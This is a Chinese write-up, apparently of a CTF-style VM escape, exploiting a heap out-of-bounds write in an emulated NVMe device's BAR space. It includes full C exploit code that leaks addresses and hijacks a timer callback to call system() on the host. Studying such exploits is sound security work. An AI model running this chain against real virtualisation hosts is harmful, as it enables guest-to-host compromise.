堆的越界写存在限制。只能进行堆上的编辑。
简单的了解了下bar空间的使用原理
NVMe的Bar空间地址分配如下:前0x1000都是寄存器空间,之后是SQ,CQ队列的doorbell。
* NVMe Controller Registers *
NVME_CAP = 0x0000, /* Controller Capabilities, 64bit */
NVME_CMD_SS = 0x0F00, /* Command Set Specific*/
NVME_SQ0TDBL = 0x1000, /* SQ 0 Tail Doorbell, 32bit (Admin) */
NVME_CQ0HDBL = 0x1004, /* CQ 0 Head Doorbell, 32bit (Admin)*/
NVME_SQ1TDBL = 0x1008, /* SQ 1 Tail Doorbell, 32bit */
NVME_CQ1HDBL = 0x100c, /* CQ 1 Head Doorbell, 32bit */
NVME_SQMAXTDBL = (NVME_SQ0TDBL + 8 * NVME_MAX_QID),
NVME_CQMAXHDBL = (NVME_CQ0HDBL + 8 * NVME_MAX_QID)
};
当host需要设备完成任务时,将任务插入SQ队列。将任务完成后,将返回信息进入CQ队列。
doorbell用于记录队列的head和tail。同时具有通知作用,当写入此地址时,代表队列有新的指令来了需要处理,会设置定时器进行执行。
插入队列同时更新对应doorbell地址。设置定时器。
其中SQ队列在bar前0x1000字节中。我们可以写入伪造。再返回漏洞函数。发现写入0x1000以上doorbell区域时会进入process_db函数。此函数即为doorbell工作函数。
选择触发0x1000位置的SQ0 doorbell。分析process_db函数可以得到SQ队列数组的地址0xb90-0xac0=0xd0.即bar空间偏移0xd0位置。
v9未分析。v14参数我们可以通过越界写入伪造。伪造v14参数(SQ队列)为堆上某空白地址sq。将sq+0x14地址写入0xffffffff保证v9校验通过。进入timer_mod函数。
进入timer_mod_ns函数,参数a1可控制。
之后流程不一一介绍。
nvme_mmio_write->process_db->timer_mod->timer_mod_ns->timerlist_rearm->timerlist_notify.
在
timerlist_notify中找到地址调用。此时参数a1依旧可控。根据定时任务猜测a1参数为time_list结构体。
使a1+0x58位置为system函数。使a1+0x60为堆上某地址(写入命令)。即可完成利用。
利用程序
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
char* base;
char cmd[] = "deepin-calculator\0";
void write_dword(long long addr, long value)
{
*((long *)(base + addr)) = value;
}
void write_qword(long long addr, long long value)
{
*((long long*)(base + addr)) = value;
}
long long read_dword(long long addr)
{
return *((long long*)(base + addr));
}
int main()
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
base = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
long long elf_ptr = read_dword(0x11C0);
long long elf_base = elf_ptr - 0x760b44;
long long system = elf_base + 0x2BC600;
printf("ELF:0x%llx\n", elf_base);
long long heap_ptr = read_dword(0x170);
long long bar = heap_ptr - 0xe0;
printf("Bar base : 0x%llx\n", bar);
int offset = 0x400;
int sq_offset = 0x420;
int timer_offset = 0x500;
int timerlist_offset = 0x580;
int cmd_offset = 0x700;
write_qword(0xd0, bar+offset);
write_qword(offset, bar+sq_offset);
write_dword(sq_offset+0x14, 0xFFFFFFFF);
write_qword(sq_offset+0x20, bar+timer_offset);
for (int i = 0; i < strlen(cmd); i+=8) {
write_qword(cmd_offset+i, *(long long *)(cmd+i));
}
write_qword(timer_offset+8, bar+timerlist_offset);
write_qword(timerlist_offset+0x0, bar+0x600);
write_dword(timerlist_offset+0x3C, 0x1);
write_qword(timerlist_offset+0x40, 0);
write_qword(timerlist_offset+0x58, system);
write_qword(timerlist_offset+0x60, bar+cmd_offset);
write_dword(0x1000, 0);
return 0;
}
结果